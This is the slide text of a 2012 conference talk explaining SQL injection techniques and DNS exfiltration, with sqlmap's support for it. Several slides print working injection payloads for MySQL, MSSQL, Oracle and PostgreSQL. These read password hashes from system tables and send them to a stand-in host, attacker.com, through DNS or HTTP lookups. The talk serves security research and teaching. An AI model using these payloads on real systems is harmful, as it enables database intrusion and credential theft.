These are the slides from a talk "DNS exfiltration using sqlmap" held at PHDays 2012 conference (Russia / Moscow 30th–31st May 2012) by Miroslav Stampar.

1. DNS exfiltration using
sqlmap
Miroslav Štampar
(dev@sqlmap.org)

2. What is SQL injection?
“SQL injection is an attack in which malicious
code is inserted into strings that are later passed
to an instance of DBMS server for parsing and
execution”
(source: msdn.microsoft.com)
PHDays 2012, Moscow (Russia) May 31, 2012 2

3. What is SQL injection? (2)
 In plain speak, SQL injection is all about the
unauthorized database access
 “Hello World” vulnerable code example
(PHP/MySQL):
$sql = "SELECT * FROM events WHERE id = " .
$_GET["id"];
$result = mysql_query($sql);
 Sample attack:
http://www.target.com/vuln.php?id=1 AND
(SELECT 5502 FROM(SELECT COUNT(*),CONCAT(0x3a,
(SELECT password FROM mysql.user LIMIT
0,1),0x3a,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
PHDays 2012, Moscow (Russia) May 31, 2012 3

4. What is SQL injection? (3)
 Harder example (PHP/MySQL):
error_reporting(0);
set_magic_quotes_runtime(true);
$sql=”INSERT INTO Users (FirstName, LastName,
Age) VALUES
('$_REQUEST[firstname]','$_REQUEST[lastname]',
$_REQUEST[age])”;
@mysql_query($sql);
PHDays 2012, Moscow (Russia) May 31, 2012 4

5. Technique classification
 Inband (web page as channel)
Union
 Full
 Partial
Error-based
 Inference (bit-by-bit)
Boolean-based blind
Time-based (and stacked queries)
 Out-of-band (alternative transport channels)
HTTP
DNS
PHDays 2012, Moscow (Russia) May 31, 2012 5

6. Inband techniques
 Error-based – CONVERT(INT,(<subquery>)),
fast, 1 (sub)query result per request, based on
inclusion of subquery result(s) inside DBMS
error message
 Union – UNION ALL SELECT NULL,...,
(<subquery>),NULL,NULL,..., fastest, in
FULL variant whole table dump per request, in
PARTIAL variant 1 query result per request
PHDays 2012, Moscow (Russia) May 31, 2012 6

7. Inference techniques
 Boolean-based blind – AND 1=1, slow, 1 bit per
request, page differentiation based, low
difference ratio represents True response, False
otherwise (in most common cases)
 Time-based – AND 1=IF(2>1,
BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,1
12))),0), slowest, 1 bit per request, delay
represents True response, False otherwise
 Stacked queries – ;INSERT INTO users VALUES
(10, 'test', 'testpass'), usually time-based
data retrieval
PHDays 2012, Moscow (Russia) May 31, 2012 7

8. Out-of-band (OOB) techniques
 HTTP – AND LENGTH(UTL_HTTP.REQUEST
('http://www.attacker.com/log.php?q='||
(SELECT password FROM SYS.USER$ WHERE
name='SYS')))>0, fast, 1 (sub)query result per
request, capturing/logging HTTP requests at
the other side
 DNS – AND LENGTH(UTL_INADDR.
GET_HOST_ADDRESS((SELECT password FROM
SYS.USER$ WHERE
name='SYS')||'.attacker.com'))>0,
relatively fast, 1 part of (sub)query result per
request, capturing/logging DNS requests at the
other side
PHDays 2012, Moscow (Russia) May 31, 2012 8

9. DNS protocol
 relatively simple protocol
 resolving domain names
 UDP datagrams (except zone transfers which
use TCP)
 forwarding requests for arbitrary domain
names
 ...even if access to public networks is not
allowed :)
PHDays 2012, Moscow (Russia) May 31, 2012 9

10. DNS protocol (2)
 Name resolving methods:
Client lookup – checking local client's cache
(same request already occurred)
Iterative – checking DNS server's cache and
configured zone records
Recursive – if other methods fail, query is
forwarded to others, sending back retrieved
results to client
PHDays 2012, Moscow (Russia) May 31, 2012 10

11. DNS protocol (3)
PHDays 2012, Moscow (Russia) May 31, 2012 11

12. DNS exfiltration
“Exfiltration [eks-fil-treyt, eks-fil-treyt]
1. verb (used without object)
to escape furtively from an area under enemy
control
2. verb (used with object)
to smuggle out of an area under enemy control”
(source: dictionary.reference.com)
PHDays 2012, Moscow (Russia) May 31, 2012 12

13. DNS exfiltration (2)
 When fast inband techniques fail data is
(usually) extracted in a bit-by-bit manner
 Most attackers will avoid exploitation of targets
with time-based technique
 Non-query SQL statements like
INSERT/UPDATE/DELETE are especially
problematic
 Alternative methods are more than welcome
(e.g. uploading of web shell scripts)
 OOB techniques are rarely used (till now)
PHDays 2012, Moscow (Russia) May 31, 2012 13

14. DNS exfiltration (3)
 In some cases it's possible to incorporate SQL
(sub)query results into DNS resolution requests
 Any function that accepts network address
could be used
 Microsoft SQL Server, Oracle, MySQL and
PostgreSQL
 Potentially dozens of resulting characters can
be transferred per single request
PHDays 2012, Moscow (Russia) May 31, 2012 14

15. DNS exfiltration (4)
 Microsoft SQL Server:
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash) FROM
sys.sql_logins WHERE name='sa')+'.attacker.com';
EXEC('master..xp_dirtree "'+@host+'c$"');
PHDays 2012, Moscow (Russia) May 31, 2012 15

16. DNS exfiltration (5)
 Oracle:
SELECT DBMS_LDAP.INIT((SELECT password FROM
SYS.USER$ WHERE name='SYS')||'.attacker.com',80)
FROM DUAL;
 MySQL:
SELECT LOAD_FILE(CONCAT('',(SELECT
password FROM mysql.user WHERE user='root' LIMIT
1),'.attacker.comfoobar'));
PHDays 2012, Moscow (Russia) May 31, 2012 16

17. DNS exfiltration (6)
 PostgreSQL:
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $$
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd FROM pg_shadow WHERE
usename='postgres');
exec_cmd := E'COPY table_output(content) FROM E''||
query_result||E'.attacker.comfoobar.txt'';
EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
PHDays 2012, Moscow (Russia) May 31, 2012 17

18. DNS exfiltration (7)
PHDays 2012, Moscow (Russia) May 31, 2012 18

19. DNS exfiltration (8)
PHDays 2012, Moscow (Russia) May 31, 2012 19

20. Integration into sqlmap
 New command line option: --dns-domain
Turning on DNS exfiltration support
Domain where should provoked DNS requests
point to (e.g. --dns-domain=attacker.com)
 DNS exfiltration vectors sent through
previously detected SQLi (e.g. time-based)
 Inband techniques have automatically higher
priority
 Hence, usable only in inference-only cases
PHDays 2012, Moscow (Russia) May 31, 2012 20

21. Integration into sqlmap (2)
 Domain name server entry (e.g.
ns1.attacker.com) has to point to IP address of
machine running sqlmap
sqlmap being run as a fake DNS server
Serving and logging all incoming DNS requests
Dummy responses (e.g. 127.0.0.1) sent just to
unblock web server instance
PHDays 2012, Moscow (Russia) May 31, 2012 21

22. Integration into sqlmap (3)
 Each pushed result enclosed with unique prefix
and suffix (e.g. Xzk. … .iUR.attacker.com)
Cancelling caching mechanisms
Easy to match SQLi requests with DNS results
 Complying with RFC 1034 (Domain Names –
Concepts and Facilities)
Hex encoding results to preserve non-word chars
Splitting long items to parts of length 63
(maximum length of one label name)
Otherwise DNS resolution requests are
immediately dropped as invalid (no resolution)
PHDays 2012, Moscow (Russia) May 31, 2012 22

23. Experimental setup
1)Attacker (172.16.138.1)
➢
physical machine – Ubuntu 12.04 LTS 64-bit OS
➢
sqlmap v1.0-dev (r5100)
2)Web Server (172.16.138.129)
➢
virtual machine – Windows XP 32-bit SP1 OS
➢
XAMPP 1.7.3 with SQLi vulnerable MySQL/PHP
web application
3)DNS Server (172.16.138.130)
➢
virtual machine – CentOS 6.2 64-bit OS
➢
BIND9 DNS daemon
PHDays 2012, Moscow (Russia) May 31, 2012 23

24. Results
(--dump -T COLLATIONS -D information_schema)
Method # of requests Time (sec)
Boolean-based blind 29,212 214.04
Time-based (1 sec) 32,716 17,720.51
Error-based 777 9.02
Union (full/partial) 3/136 0.70/2.50
DNS exfiltration 1,409 35.31
PHDays 2012, Moscow (Russia) May 31, 2012 24

25. Video presentation
PHDays 2012, Moscow (Russia) May 31, 2012 25

26. Questions?
PHDays 2012, Moscow (Russia) May 31, 2012 26